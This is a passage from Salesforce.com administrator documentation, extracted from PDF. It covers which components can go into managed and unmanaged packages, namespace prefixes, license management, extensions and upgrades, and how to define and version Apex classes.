A package is comprised of many different types of components. A component may behave differently depending on the type
of package. The following table shows the behavior of components for each of the properties listed. Each property represents
a column in the table. For information on the component attributes, see Component Attributes in Managed Packages on page
956.
Packaged Explicitly or Implicitly (applies to managed and unmanaged packages)
Components can be added either explicitly or implicitly. For example, when you create a custom field on a standard
object, you must add the custom field to your package explicitly. However, if you have created a custom object and added
a custom field on it, when you add the custom object to the package the custom field is implicitly added to the package.

• Explicitly: The component can be directly included in the package.


• Implicitly: The component cannot be added directly to the package. The component is added to the package when
another dependent component, usually a custom object, is added to the package.

Automatic Renaming (applies to unmanaged packages)


Salesforce.com can resolve naming conflicts automatically on install.

• No: If a naming conflict occurs the install is blocked.


• Yes: If a naming conflict occurs Salesforce.com can optionally change the name of the component being installed.

Upgradeable (applies to managed packages)


Some components are updated to a newer version when a package is upgraded.

945
Create Overview of Packages

• No: The component is not upgraded.


• Yes: The component is upgraded.

Developer Deleteable (applies to managed packages)


A developer can delete some components after the package is uploaded as Managed - Released. Deleted components
are not deleted in the subscriber's organization during a package upgrade. For additional information on deleting
components, see Protectable on page 946.

• No: The developer cannot delete a Managed - Released component..


• Yes: The developer can delete a Managed - Released component.

Subscriber Deleteable (applies to managed packages)


A subscriber or installer of a package can delete the component.

• No: The subscriber cannot delete the component.


• Yes: The subscriber can delete the component.

Protectable (applies to managed packages)


Developers can mark certain components as protected. Protected components cannot be linked to or referenced by
components created in a subscriber organization. A developer can delete a protected component in a future release
without worrying about failing installations. However, once a component is marked as unprotected and is released
globally, the developer cannot delete it. When the subscriber upgrades to a version of the package where the component
is deleted, the component is removed from the subscriber's organization.

• No: The component cannot be marked protected.


• Yes: The component can be marked protected.

IP Protection (applies to managed packages)


Certain components automatically include intellectual property protection, such as obfuscating Apex code. The only
exceptions are Apex methods declared as global, meaning that the method signatures can be viewed by the subscriber.
The information in the components you package and publish may be visible to users on Force.com AppExchange. Use
caution when adding your code to a custom s-control, formula, Visualforce page, or any other component that you cannot
hide in your app.

• No: The component does not support intellectual property protection.


• Yes: The component supports intellectual property protection.

Component Packaged Automatic Upgradeable Developer Subscriber Protectable IP Protection


Explicitly or Renaming Deleteable Deleteable
Implicitly
Analytic Explicitly Yes No Yes Yes No No
Snapshot
Apex Class Explicitly No Yes No No No Yes

946
Create Overview of Packages

Component Packaged Automatic Upgradeable Developer Subscriber Protectable IP Protection


Explicitly or Renaming Deleteable Deleteable
Implicitly
Apex Sharing Implicitly No Yes No No No No
Reason
On an
extension:
Explicitly

Apex Sharing Implicitly No No Yes Yes No No


Recalculation
Apex Trigger On a standard No Yes No No No Yes
or extension
object:
Explicitly
On an object
in the
package:
Implicitly

Application Explicitly No No Yes Yes No No


Custom On a standard No Yes No No No, except No
Button or object: custom links
Link Explicitly (for Home
page only)
On a custom
object:
Implicitly

Custom Field On a standard No Yes No No No No


object:
Explicitly
On a custom
object:
Implicitly

Custom Implicitly No Yes Yes, if No Yes No


Label protected
Custom Explicitly No Yes No No No No
Object
Custom Explicitly No Yes No No No No
Report Type
Custom Explicitly No Yes No No No Yes
Setting

947
Create Overview of Packages

Component Packaged Automatic Upgradeable Developer Subscriber Protectable IP Protection


Explicitly or Renaming Deleteable Deleteable
Implicitly
Dashboard Explicitly Yes No Yes Yes No No
In a folder:
Implicitly

Document Explicitly Yes No Yes Yes No No


In a folder:
Implicitly

Email Explicitly Yes No Yes Yes No No


Template
In a folder:
Implicitly

Folder Explicitly Yes No Yes Yes No No


Home Page Explicitly No Yes No No No No
Component
Home Page Explicitly No No Yes Yes No No
Layout
Letterhead Explicitly Yes No Yes Yes No No
List View On a standard Yes No Yes Yes No No
object:
Explicitly
On a custom
object:
Implicitly

Page Layout On a standard No No Yes Yes No No


object:
Explicitly
On a custom
object:
Implicitly

Record Type On a standard No Yes No No No No


object:
Explicitly
On a custom
object:
Implicitly

948
Create Overview of Packages

Component Packaged Automatic Upgradeable Developer Subscriber Protectable IP Protection


Explicitly or Renaming Deleteable Deleteable
Implicitly
Report Explicitly Yes No Yes Yes No No
In a folder:
Implicitly

S-Control Explicitly No Yes No No No No


Static Explicitly No Yes No No No No
Resource
Tab Explicitly No Yes No No No No
Translation Explicitly No Yes No No No No
Validation On a standard No Yes No No No No
Rule object:
Explicitly
On a custom
object:
Implicitly

Visualforce Explicitly No Yes No No No Yes


Component
Visualforce Explicitly No Yes No No No No
Page
Workflow Explicitly No Yes Yes, if No Yes No
Email Alert protected
Workflow Explicitly No Yes Yes, if No Yes No
Field Update protected
Workflow Explicitly No Yes Yes, if No Yes No
Outbound protected
Message
Workflow Explicitly No Yes No No No No
Rule
Workflow Explicitly No Yes Yes, if No Yes No
Task protected

When adding components to your package, you may notice that Salesforce.com automatically includes some related components.
These components are required in the installer's organization for the component to function properly. For example, if you add
a Visualforce page to a package and it references a custom controller, that Apex class will also be added to the package.
To understand what components are automatically included, review the following list:

949
Create Overview of Packages

When you add this component: These types of components may be automatically included:
Analytic Snapshot Reports
Apex class Custom fields, custom objects, and other explicitly referenced Apex classes, as well as
anything else that is directly referenced by the Apex class that can be included in a
package
Note: If an Apex class references a custom label, and that label has translations,
you must explicitly package the individual languages desired in order for those
translations to be included in the package.

Apex trigger Custom fields, custom objects, and any explicitly referenced Apex classes, as well as
anything else that is directly referenced by the Apex trigger that can be included in a
package
Custom app Custom tabs (including web tabs), documents (stored as images on the tab), documents
folder
Custom button or link Custom fields and custom objects
Custom field Custom objects
Custom home page layouts Custom home page components on the layout
Custom settings Apex sharing reasons, Apex sharing recalculations, Apex triggers, custom buttons or
links, custom fields, list views, page layouts, record types, validation rules
Custom object Custom fields, validation rules, page layouts, list views, custom buttons, custom links,
record types, Apex sharing reasons, Apex sharing recalculations, and Apex triggers.
Note the following:

• Apex sharing reasons are unavailable in extensions.


• When packaged and installed, only public list views from an app are installed. If a
custom object has any custom list views that you want to include in your package,
ensure that the list view is accessible by all users.

Custom tab Custom objects (including all components that it includes), s-controls, and Visualforce
pages
Dashboard Folders, reports (including all components that includes), s-controls, and Visualforce
pages
Document Folder
Email template Folder, letterhead, custom fields, and documents (stored as images on the letterhead
or template)
Folder Everything in the folder
Translation Translated terms for the selected language on any component in the package.
Report Folder, custom fields, custom objects, custom report types, and custom s-controls
S-control Custom field and custom object

950
Create Overview of Packages

When you add this component: These types of components may be automatically included:
Validation rule Custom fields (referenced in the formula)
Visualforce pages Apex classes that are used as custom controllers, and Visualforce custom components
Workflow rule All associated workflow alerts, field updates, outbound messages, and tasks. Also, if
the workflow rule is designed for a custom object, the custom object is automatically
included.

Note: Some package components, such as validation rules or record types, may not display in the list of package
components but are included in the package and install with the other components.

See Also:
About Managed Packages
Determining Your Development Process
Planning the Release of Managed Packages
Beta Versions of Managed Packages

Enabling Managed Packages for Your Organization

Available in: Developer Edition


Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable managed packages: “Customize Application”
To create packages: “Create AppExchange packages”
To upload packages: “Download AppExchange packages”

Creating a managed package is just as easy as creating an unmanaged package, but it requires a few customizations in your
organization first. The only requirement for enabling your Salesforce.com organization to create managed packages is that
you are using a Developer Edition organization.
To enable your organization for managed packages:

• Review the information about managed packages before determining if this is the right type of package for your app.
• Optionally, install the License Management Application (LMA) from http://sites.force.com/appexchange. Search for
License Management App to locate it. The License Management Application (LMA) tracks information about each
user who installs your app. It allows you to track what users have which version, giving you a means of distributing
information about upgrades.
The License Management Application (LMA) can be installed in any Salesforce.com organization except a Personal,
Group, or Professional Edition organization and does not need to be the same Salesforce.com organization that you use

951
Create Overview of Packages

to create or upload the package, although it can be. You can also use the same License Management Application (LMA)
to manage an unlimited number of your managed packages in different Developer Edition organizations.
• Configure your developer settings. Your developer settings specify your namespace prefix, the Salesforce.com organization
where you install the License Management Application (LMA), and the unmanaged package you want to convert into a
managed package.

See Also:
Managing Packages
About Managed Packages
Converting Unmanaged Packages to Managed
Configuring Your Developer Settings
Registering a Namespace Prefix
Specifying a License Management Organization

Configuring Your Developer Settings

Available in: Developer Edition


Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure developer settings: “Customize Application”
To create packages: “Create AppExchange Packages”
To upload packages: “Upload AppExchange Packages”

The developer settings in a Developer Edition organization allow you to create a single managed package and upload that
package to Force.com AppExchange so other users can install and upgrade the package in their organization. After configuring
your developer settings the first time, you can no longer modify them. Regardless of the developer settings, you can always
create an unlimited number of unmanaged packages.
Before configuring your developer settings, review the requirements and steps in Enabling Managed Packages for Your
Organization on page 951.
To configure your developer settings:

1. Click Setup ➤ Create ➤ Packages.


2. Click Edit.
Note: This button does not appear if you have already configured your developer settings.

3. Review the selections necessary to configure developer settings, and click Continue.
4. Register a namespace prefix.

952
Create Overview of Packages

5. Choose the package you want to convert to a managed package. If you do not yet have a package to convert, leave this
selection blank and update it later.
6. Click Review My Selections.
7. Click Save. Specifying a License Management Organization

Tip: To find out more about Specifying a License Management Organization for your managed package, go to
http://sites.force.com/appexchange/publisherHome.

See Also:
Enabling Managed Packages for Your Organization
Registering a Namespace Prefix
Specifying a License Management Organization

Registering a Namespace Prefix

Available in: Developer Edition


Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure developer settings: “Customize Application”
To create packages: “Create AppExchange Packages”
To upload packages: “Upload AppExchange Packages”

In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your package
and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive. For example,
ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all Salesforce.com
organizations. It keeps your managed package under your control exclusively.
Salesforce.com automatically prepends your namespace prefix, followed by two underscores (“__”), to all unique component
names in your Salesforce.com organization. A unique package component is one that requires a name that no other component
has within Salesforce.com, such as custom objects, custom fields, custom links, s-controls, and validation rules. For example,
if your namespace prefix is abc and your managed package contains a custom object with the API name, Expense__c, use the
API name abc__Expense__c to access this object using the API. The namespace prefix is displayed on all component detail
pages.
Caution: S-controls stored in the s-control library or the Documents tab that do not use the Force.com API still
function properly after you register a namespace prefix. However, s-controls stored outside of your organization or
s-controls that use the Force.com API to call Salesforce.com may require some fine-tuning. For more information,
see the S-control standard object page in the Force.com Web Services API Developer's Guide.

Your namespace prefix must:

• Begin with a letter

953
Create Overview of Packages

• Contain one to 15 alphanumeric characters


• Not contain two consecutive underscores

To register a namespace prefix:

1. Click Setup ➤ Create ➤ Packages.


2. Click Edit.
Note: This button does not appear if you have already configured your developer settings.

3. Review the selections necessary to configure developer settings, and click Continue.
4. Enter the namespace prefix you want to register.
5. Click Check Availability to determine if it is already in use.
6. Repeat if the namespace prefix you entered is not available.
7. Click Review My Selections.
8. Click Save.

Note: If you requested a unique four-character ID from salesforce.com prior to Winter '07, you still need to register
a namespace prefix. Existing components that include your unique four-character ID will have the namespace prefix
automatically appended to their API name. For example, if you previously used the API name abcd.Expense__c to
access the Expense object from the API and you register the same prefix using the new process, use
abcd__abcd.Expense__c to access this object from the API going forward.
If your API transactions use components that reference merge fields without their namespace prefix, Salesforce.com
automatically prepends them with your namespace prefix.

See Also:
Enabling Managed Packages for Your Organization
Configuring Your Developer Settings
Specifying a License Management Organization

Specifying a License Management Organization

Available in: Developer Edition


Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A license management organization is a Salesforce.com organization that you use to track all Salesforce.com users who install
your managed package. The license management organization receives notification (in the form of a lead record) when a user
installs or uninstalls your package and tracks each package upload on Force.com AppExchange.

954
Create Overview of Packages

Your license management organization can be any Salesforce.com Enterprise, Unlimited, or Developer Edition organization
that has installed the free License Management Application (LMA) from AppExchange. To specify a License Management
Organization, go to http://sites.force.com/appexchange/publisherHome.

See Also:
Enabling Managed Packages for Your Organization
Configuring Your Developer Settings
Registering a Namespace Prefix

Converting Unmanaged Packages to Managed

Available in: Developer Edition


Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure developer settings: “Customize Application”
To create packages: “Create AppExchange Packages”
To upload packages: “Upload AppExchange Packages”

Your organization may already have uploaded and registered packages on Force.com AppExchange directory. All packages
uploaded prior to the Winter '07 release are unmanaged, meaning they cannot be upgraded in the installer's organization. You
can convert them to managed packages by configuring your organization for managed packages and choosing a package to be
managed. This allows you to notify installers when an upgrade is ready for them to install.
Before you convert an existing package to managed, notify your current installers of how to save their data:

1. Export all the data from the previous, unmanaged version of the package.
2. Uninstall the unmanaged package.
3. Install the new managed version of the package.
4. Import all the exported data into the new managed package.
Note: Note to installers: if you have made customizations to an installation of an unmanaged package, make a list
of these customizations before uninstalling since you may want to implement them again. However, some
customizations will not be possible with a managed package. See Packageable Components on page 945.

To convert an unmanaged package into a managed package:

1. Enable managed packages for your organization.


2. Click Setup ➤ Create ➤ Packages, edit the package you want to make managed, and select Managed.

Caution: Converting an unmanaged package to managed requires registering a namespace prefix that affects the API
names of uniquely named package components such as custom fields or s-controls. S-controls stored in the s-control
library or the Documents tab that do not use the Force.com API still function properly after you register a namespace
prefix. However, s-controls stored outside of your organization or s-controls that use the Force.com API to call

955
Create Overview of Packages

Salesforce.com may require some fine-tuning. For more information, see the S-control standard object page in the
Force.com Web Services API Developer's Guide.

See Also:
Managing Packages
About Managed Packages
Enabling Managed Packages for Your Organization
Component Attributes in Managed Packages

Component Attributes in Managed Packages


The following table shows the behavior of attributes on components in a managed package. In an unmanaged package, all
attributes can be edited by both the subscriber and the developer since the package cannot be upgraded. For information on
the properties of packageable components, see Packageable Components on page 945.
Developer Editable
The developer can edit the component attributes in this column.These attributes are locked in the subscriber's organization.

Subscriber and Developer Editable


The subscriber and developer can edit the component attributes in this column. However, they are not upgradeable; only
new subscribers receive the latest changes.

Locked
Once a package is Managed - Released, the developer and subscriber cannot edit the component attributes in this column.

Component Developer Editable Subscriber and Developer Locked


Editable
Analytic Snapshot • All attributes except • Analytic Snapshot Unique
Analytic Snapshot Unique Name
Name

Apex Class • API Version • Name


• Code

Apex Sharing Reason • Reason Label • Reason Name

Apex Sharing Recalculation • Apex Class

Apex Trigger • API Version • Name


• Code

Application • All attributes except App • App Name


Name

Custom Button or Link • Behavior • Height • Display Type

956
Create Overview of Packages

Component Developer Editable Subscriber and Developer Locked


Editable
• Button or Link URL • Resizeable • Name
• Content Source • Show Address Bar
• Description • Show Menu Bar
• Display Checkboxes • Show Scrollbars
• Label • Show Status Bar
• Link Encoding • Show Toolbars
• Width
• Window Position

Custom Field • Auto-Number Display • Help Text • Child Relationship Name


Format • Mask Type • Data Type
• Description • Mask Character • Decimal Places
• Default Value • Sharing Setting • External ID
• Field Label • Sort Picklist Values • Field Name
• Formula • Length
• Lookup Filter • Required
• Related List Label • Roll-Up Summary Field
• Roll-Up Summary Filter • Roll-Up Summary Object
Criteria • Roll-Up Summary Type
• Unique

Custom Label • Category • Name


• Short Description
• Value

Custom Object • Description • Allow Activities • Object Name


• Label • Allow Reports • Record Name Data Type
• Plural Label • Available for Customer • Record Name Display
• Record Name Portal Format
• Starts with a Vowel Sound • Context-Sensitive Help
Setting
• Default Sharing Model
• Development Status
• Enable Divisions
• Grant Access Using
Hierarchy
• Search Layouts
• Track Field History

Custom Report Type • All attributes except • Development Status • Report Type Name
Development Status and
Report Type Name

957
Create Overview of Packages

Component Developer Editable Subscriber and Developer Locked


Editable
Custom Setting • Description • Setting Type
• Label • Visibility

Dashboard • All attributes except • Dashboard Unique Name


Dashboard Unique Name

Document • All attributes except • Document Unique Name


Document Unique Name

Email Template • All attributes except Email • Email Template Name


Template Name

Folder • All attributes except • Folder Unique Name


Folder Unique Name

Home Page Component • Body • Name


• Component Position • Type

Home Page Layout • All attributes except • Layout Name


Layout Name

Letterhead • All attributes except • Letterhead Name


Letterhead Name

List View • All attributes except View • View Unique Name


Unique Name

Page Layout • All attributes except Page • Page Layout Name


Layout Name

Record Type • Description • Active • Name


• Record Type Label • Business Process

Report • All attributes except • Report Unique Name


Report Unique Name

S-Control • Content • Prebuild in Page • S-Control Name


• Description • Type
• Encoding
• Filename
• Label

Static Resource • Description • Name

958
Create Overview of Packages

Component Developer Editable Subscriber and Developer Locked


Editable
• File

Tab • Description • Mobile Ready • Tab Name


• Encoding • Tab Style
• Has Sidebar
• Height
• Label
• S-Control
• Splash Page Custom Link
• Type
• URL
• Width

Translation • All attributes

Validation Rule • Description • Active • Rule Name


• Error Condition Formula
• Error Location
• Error Message

Visualforce Component • API Version • Name


• Description
• Label
• Markup

Visualforce Page • API Version • Name


• Description
• Label
• Markup

Workflow Email Alert • Additional Emails • Description


• Email Template
• From Email Address
• Recipients

Workflow Field Update • Description • Lookup • Name


• Field Value • Notify Assignee
• Formula Value

Workflow Outbound • Description • User to Send As • Name


Message • Endpoint URL
• Fields to Send

959
Create Overview of Packages

Component Developer Editable Subscriber and Developer Locked


Editable
• Send Session ID

Workflow Rule • Description • Active • Rule Name


• Evaluation Criteria
• Rule Criteria

Workflow Task • Assign To • Subject


• Comments
• Due Date
• Notify Assignee
• Priority
• Record Type
• Status

See Also:
Converting Unmanaged Packages to Managed

Publishing Extensions to Managed Packages

Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages: “Create AppExchange Packages”
To upload packages: “Upload AppExchange Packages”

An extension is any package, component, or set of components that adds to the functionality of a managed package. An
extension requires that the base managed package be installed in the organization. For example, if you have built a recruiting
app, an extension to this app might include a component for performing background checks on candidates.
The community of developers, users, and visionaries building and publishing apps on Force.com AppExchange is part of what
makes Force.com such a rich development platform. Use this community to build extensions to other apps and encourage
them to build extensions to your apps.
To publish extensions to a managed package:

1. Install the base package in the Salesforce.com organization that you plan to use to upload the extension.
2. Build your extension components.

960
Create Overview of Packages

Note: To build an extension, install the base package and include a dependency to that base package in your
package. The extension attribute will automatically become active.

3. Create a new package and add your extension components. Salesforce.com automatically includes some related components.
For more information, see Packageable Components on page 945.
4. Upload the new package that contains the extension components.
5. Proceed with the publishing process as usual. For information on creating a test drive or registering and publishing your
app, go to http://sites.force.com/appexchange/publisherHome.

Note: Packages cannot be upgraded to Managed - Beta if they are used within the same organization as an extension.

See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Packageable Components
Managing Uploads
Publishing Upgrades to Managed Packages

Publishing Upgrades to Managed Packages

Available in: Developer Edition


Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure developer settings: “Customize Application”
To create packages: “Create AppExchange Packages”
To upload packages: “Upload AppExchange Packages”

As a publisher, first ensure that your app is upgradeable by converting it to a managed package. Any changes you make to the
components in a managed package are automatically included in subsequent uploads of that package, with one exception.
When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures that
the administrator installing the upgrade has full control. Installers should carefully examine the changes in package access in
each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the administrator
should manually apply any acceptable changes after installing an upgrade. For more information, see About API and Dynamic
Apex Access in Packages on page 1096.
To publish upgrades to a managed package:

1. Select the package from the list of packages available at Setup ➤ Create ➤ Packages.

961
Create Overview of Packages

2. View the list of package components. Changes you have made to components in this package are automatically included
in this list. If the changes reference additional components, those components are automatically included as well. To add
new components, click Add to add them to the package manually.
3. Click Upload and upload it as usual.
Note:
After you upload a new version of your Managed - Released package, you can click Deprecate so installers cannot
install an older version. Deprecation prevents new installations of older versions without affecting existing
installations. For more information, see Managing Uploads on page 927.
You cannot deprecate the most recent version of a managed package upload.

4. When you receive an email with the link to the upload on Force.com AppExchange, notify your installed users that the
new version is ready. Use the list of installed users from the License Management Application (LMA) to distribute this
information. The License Management Application (LMA) automatically stores the version number that your installers
have in their organizations.

See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Packageable Components
Managing Uploads
Publishing Extensions to Managed Packages

962
DEVELOP

Development Overview
The available setup options vary according to which Salesforce.com Edition you have.

Click Setup ➤ Develop to access the following options. These app builder tools may require some programming knowledge:
Apex Classes
Available in Developer, Enterprise, and Unlimited Editions only. Define Apex classes that you can use to add additional
business logic to your custom applications.

Apex Triggers
Available in Developer, Enterprise, and Unlimited Editions only. View all Apex triggers defined for your organization.

API
Available in Enterprise, Unlimited, and Developer Editions only. Download WSDL files that allow you to integrate
external applications with Salesforce.com.

Components
Available in Group, Professional, Enterprise, Unlimited, and Developer Editions. Define custom Visualforce components
that you can use in one or more Visualforce pages.

Custom Settings
Available in Developer, Enterprise, and Unlimited Editions. Create and manage custom data for your organization.

Email Services
Available in Developer Edition only. Define Apex classes that can process inbound email.

Pages
Available in Group, Professional, Enterprise, Unlimited, and Developer Editions. Define Visualforce pages that display
your own custom user interfaces.

S-Controls
Upload content such as Java applets or Active-X controls for use in dynamic custom links or Web tabs.
Attention: S-controls have been superseded by Visualforce pages. After January 2010 salesforce.com will remove
the ability to create and distribute new s-controls. Existing s-controls will remain unaffected.

Sites
Available in Developer, Enterprise, and Unlimited Editions. Create public websites and applications that are integrated
into Salesforce.com.

963
Develop Force.com Apex Code Overview

Static Resources
Available in Group, Professional, Enterprise, Unlimited, and Developer Editions. Upload content that you can reference
in a Visualforce page, including archives (such as .zip and .jar files), images, stylesheets, JavaScript programs, and
other files.

Remote Access
Available in all editions. Create and manage a remote access application. A remote access application is an application
external to Salesforce.com that uses the OAuth protocol to verify both the Salesforce.com user and the external application.

Tools
Available in Developer and Unlimited Editions only. Download tools that can assist you with building, debugging,
testing, and deploying Apex.

See Also:
App Builder Tools Overview
App Setup Overview

Force.com Apex Code Overview


Available in: Unlimited, Developer, and Enterprise Editions

Force.com Apex code is a strongly-typed, object-oriented programming language that allows developers to execute flow and
transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax
that looks like Java and acts like database stored procedures, Apex code enables developers to add business logic to most system
events, including button clicks, related record updates, and Visualforce pages. Apex scripts can be initiated by Web service
requests and from triggers on objects.
Apex can be stored on the platform in two different forms:

• A class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined
methods, variables, exception types, and static initialization code under Setup ➤ Develop ➤ Apex Classes. See Managing
Apex Classes on page 968.
• A trigger is an Apex script that executes before or after specific data manipulation language (DML) events occur, such as
before object records are inserted into the database, or after records have been deleted. Triggers are stored as metadata in
Salesforce.com. A list of all triggers in your organization is located at Setup ➤ Develop ➤ Apex Triggers. See Managing
Apex Triggers on page 975.

Apex scripts generally run in system context, that is, the current user's profile-based permissions, field-level security, and
sharing rules are not taken into account during script execution.
Note: You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement. For more information on deploying Apex, see “Deploying Apex
Scripts” in the Force.com Apex Code Developer's Guide.

964
Develop Defining Apex Classes

For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.

See Also:
Defining Apex Classes
Viewing Apex Classes
Setting Apex Class Security
Creating an Apex Class from a WSDL
Defining Apex Triggers
What is a Debug Log?
Using the System Log Console
Running Apex Unit Tests
Managing Debug Logs
Using the Apex Tools
Handling Apex Exceptions in Managed Packages
Developer's Guide: Force.com Apex Code Developer's Guide

Defining Apex Classes


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show “Author Apex”
dependencies, and run tests for Apex classes:

Apex classes are stored as metadata in the application.


Note: You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement.

To create a class:

1. In the application, click Setup ➤ Develop ➤ Apex Classes.


2. Click New.
3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed
managed packages from the AppExchange, you can also specify which version of each managed package to use with this
class. Generally, you should use the default values for all versions. This associates the class with the most recent version of
Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want
to access components or functionality that differs from the most recent package version. You can specify an older version
of Apex and the API to maintain specific behavior.

965
Develop Managing Version Settings for Apex

4. In the Body text box, enter the Apex for the class. A single class can be up to 100,000 characters in length.
5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue
editing your class. Your Apex script must compile correctly before you can save your class.

Once saved, classes can be invoked through class methods or variables by any other Apex script.
Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and
the API. If the Apex class references components, such as a custom object, in installed managed packages, the version
settings for each managed package referenced by the class is saved too. Additionally, classes are stored with an isValid
flag that is set to true as long as dependent metadata has not changed since the class was last compiled. If any changes
are made to object names or fields that are used in the class, including superficial changes such as edits to an object or
field description, or if changes are made to a class that calls this class, the isValid flag is set to false. When a
trigger or Web service call invokes the class, the code is recompiled and the user is notified if there are any errors. If
there are no errors, the isValid flag is reset to true.

See Also:
Force.com Apex Code Overview
Managing Apex Classes
Viewing Apex Classes
Creating an Apex Class from a WSDL
Setting Apex Class Security
Managing Version Settings for Apex
Using the Editor for Visualforce or Apex
Developer's Guide: Force.com Apex Code Developer's Guide

Managing Version Settings for Apex


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show “Author Apex”
dependencies, and run tests for Apex classes:

To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If the
Apex class references components, such as a custom object, in installed managed packages, the version settings for each managed
package referenced by the class is saved too. This ensures that as Apex, the API, and the components in managed packages
evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known behavior.
A package version is a set of components uploaded in a package. It is denoted by a version number that has the format
majorNumber.minorNumber.patchNumber such as 2.1.3. Note that the patchNumber is generated only when you create
a patch. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com. Publishers can use package versions
to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.

966
Develop Managing Version Settings for Apex

To set the Salesforce.com API and Apex version for a class or trigger:

1. Edit either a class or trigger, and click Version Settings.


2. Select the Version of the Salesforce.com API. This is also the version of Apex associated with the class or trigger.
3. Click Save.

To configure the package version settings for a class or trigger:

1. Edit either a class or trigger, and click Version Settings.


2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will
continue to be used by the class or trigger if later versions of the managed package are installed, unless you manually update
the version setting. To add an installed managed package to the settings list, select a package from the list of available
packages. The list is only displayed if you have an installed managed package that is not already associated with the class
or trigger.
3. Click Save.

Note the following when working with package version settings:

• If you save an Apex class or trigger that references a managed package without specifying a version of the managed package,
the Apex class or trigger is associated with the latest installed version of the managed package by default.
• You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or
trigger. Use Show Dependencies to find where a managed package is referenced by a class or a trigger.

See Also:
Force.com Apex Code Overview
Defining Apex Classes
Defining Apex Triggers
Managing Apex Classes
Managing Apex Triggers
Viewing Apex Classes
Setting Apex Class Security
About Managed Packages
What is a Package Version?
Developer's Guide: Force.com Apex Code Developer's Guide

967
Develop Managing Apex Classes

Managing Apex Classes


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show “Author Apex”
dependencies, and run tests for Apex classes:

An Apex class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined
methods, variables, exception types, and static initialization code. Once successfully saved, class methods or variables can be
invoked by other Apex scripts, or through the Force.com Web Services API (or AJAX Toolkit) for methods that have been
designated with the webService keyword.
Note: The namespace prefix is added to Apex classes, Apex triggers, Apex components, Visualforce pages, brand
templates, folders, s-controls, static resources, web links, and custom report types if they are included in a managed
package. However, if your profile does not have customize application permissions, the namespace prefix field is not
displayed for brand templates, folders, and custom report types. For more information on namespace prefixes, see
Registering a Namespace Prefix on page 953.

To create an Apex class, click New and write your Apex in a simple editor. See Defining Apex Classes on page 965.
While developers can write class methods according to the syntax outlined in the Force.com Apex Code Developer's Guide,
classes can also be automatically generated by consuming a WSDL document that is stored on a local hard drive or network.
Creating a class by consuming a WSDL document allows developers to make callouts to the external Web service in their
Apex scripts. Click Generate From WSDL to generate an Apex class from a WSDL document.
Once you have created an Apex class, you can do any of the following:

• Click Edit next to the class name to modify its contents in a simple editor.
• Click Del next to the class name to delete the class from your organization.
Note:

- You cannot delete a class that is specified as a controller for a Visualforce page or component.
- A icon indicates that an Apex class was released in a managed package. Apex classes in packages have special
considerations.
- A icon indicates that an Apex class is in an installed managed package. You cannot edit or delete a class in
a managed package.

• If an Apex class has any methods defined as a webService, you can click WSDL next to the class name to generate a
WSDL document from the class contents. This document contains all of the information necessary for a client to consume
Apex Web service methods. All class methods with the webService keyword are included in the resulting WSDL
document.
• Click Security next to the class name to select the profiles that are allowed to execute methods in the class from top-level
entry points such as Web service methods. For classes that are installed in your organization as part of a managed package,
this link only displays for those defined as global.

968
Develop Viewing Apex Classes

If you have unit tests in at least one Apex class, click Run All Tests to run all the unit tests in your organization. For more
information, see Running Apex Unit Tests on page 980.
Note: You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement.

See Also:
Force.com Apex Code Overview
Defining Apex Classes
Viewing Apex Classes
Creating an Apex Class from a WSDL
